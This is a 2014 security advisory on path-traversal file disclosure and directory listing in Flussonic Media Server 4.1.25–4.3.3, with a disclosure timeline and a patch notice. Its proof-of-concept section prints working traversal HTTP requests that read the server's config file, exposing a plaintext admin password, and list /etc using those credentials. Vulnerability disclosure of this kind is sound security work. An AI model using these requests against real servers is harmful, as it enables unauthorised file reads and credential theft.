Flussonic Media Server 4.1.25 < 4.3.3 - Arbitrary File Disclosure
Document Title: ============ Flussonic Media Server 4.3.3 Multiple Vulnerabilities Release Date: =========== June 29, 2014 Product & Service Introduction: ======================== Flussonic is a mutli-protocol streaming server with support for many protocols, including HDS, HLS, RTMP, RTSP, HTTP, MPEG-TS. Flussonic has the capability of capturing multimedia from external sources, such as video cameras, satellite TV and other multimedia servers (Wowza, Flash Media Server and Red5). Flussonic operates on the highly flexible and fast Erlang platform that facilitates impressive performance during parallel data processing, failure safety for servers, and scaling options up to a sophisticated distributed data network. Abstract Advisory Information: ======================= BGA Security Team discovered an arbitrary file read and arbitrary directory listing vulnerability in Flussonic Media Server 4.3.3 Vulnerability Disclosure Timeline: ========================= June 26, 2014 : Contact with Vendor June 26, 2014 : Vendor Response June 26, 2014 : Version 4.3.4 Deployed June 29, 2014 : Public Disclosure Discovery Status: ============= Published Affected Product(s): =============== Erlyvideo, LLC Product: Flussonic Media Server 4.1.25 - 4.3.3 Exploitation Technique: ================== AFR: Remote, Unauthenticated ADL: Remote, Authenticated Severity Level: =========== High Technical Details & Description: ======================== 1. Arbitrary File Read (Unauthenticated) It’s possible to read any files from the server (with the application’s user’s permissions) by a simple HTTP GET request. Flussonic’s web interface login information can be found as plaintext by reading /etc/flussonic/flussonic.conf; thus, it’s possible to login any Flussonic web interface using that method. 2. Arbitrary Directory Listing (Authenticated) It’s possible to list any directories’ content sending a HTTP GET request to “flussonic/api/list_files” with the parameter “subpath=directory”. Proof of Concept (PoC): ================== Proof of Concept AFR Request & Response: GET /../../../etc/flussonic/flussonic.conf HTTP/1.1 Host: 6.6.6.100:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Connection: keep-alive Server: Cowboy Date: Thu, 26 Jun 2014 09:50:57 GMT Content-Length: 191 Content-Type: text/plain Last-Modified: Tue, 24 Jun 2014 22:10:53 GMT Etag: 1452b98181c562b2e2d041a3e1fe2af0cffe8687 # Default ports Flussonic M1 Media server listens on http 80; http 8080; rtmp 1935; rtsp 554; pulsedb /var/run/flussonic; edit_auth flussonic letmein!; live mylive; file vod { path priv; } 2. Proof of Concept ADR Request & Response: GET /flussonic/api/list_files?subpath=../../../etc HTTP/1.1 Host: 6.6.6.100:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic Zmx1c3NvbmljOmxldG1laW4h Connection: keep-alive HTTP/1.1 200 OK Connection: keep-alive Server: Cowboy Date: Thu, 26 Jun 2014 11:04:12 GMT Content-Length: 7555 X-Route-Time: 28 X-Run-Time: 8090 Content-Type: application/json {“files":[{"name":"X11","type":"directory"},{"name":"acpi","type":"directory"},{"name":"adduser.conf","type":"file","prefix":"vod"},{"name":"alternatives","type":"directory"},{"name":"apache2","type":"directory"},{"name":"apm","type":"directory"}, ……… {“name":"xml","type":"directory"},{"name":"zsh_command_not_found","type":"file","prefix":"vod"}]} Solution Fix & Patch: ================ Update version 4.3.4 Security Risk: ========== The risk of the vulnerabilities above estimated as high and medium. Credits & Authors: ============== Bilgi Güvenliði Akademisi Disclaimer & Information: =================== The information provided in this advisory is provided as it is without any warranty. BGA disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages. Domain: http://bga.com.tr/advisories.html Social: http://twitter.com/bgasecurity Contact: bilgi@bga.com.tr Copyright © 2014 | BGA |